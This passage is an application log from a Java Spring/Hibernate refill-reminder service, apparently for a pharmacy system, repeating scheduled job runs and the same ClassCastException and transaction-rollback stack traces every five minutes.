org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 14:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 14:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 14:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 14:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 14:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 14:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 14:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 14:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 14:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 14:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 14:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 15:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 15:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 15:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 15:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 15:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 15:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 15:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 15:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 15:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 15:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 15:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 15:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 15:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 15:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 15:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 15:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 15:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 15:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 15:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 15:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 15:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 15:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 15:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 15:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 15:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 15:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 15:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at 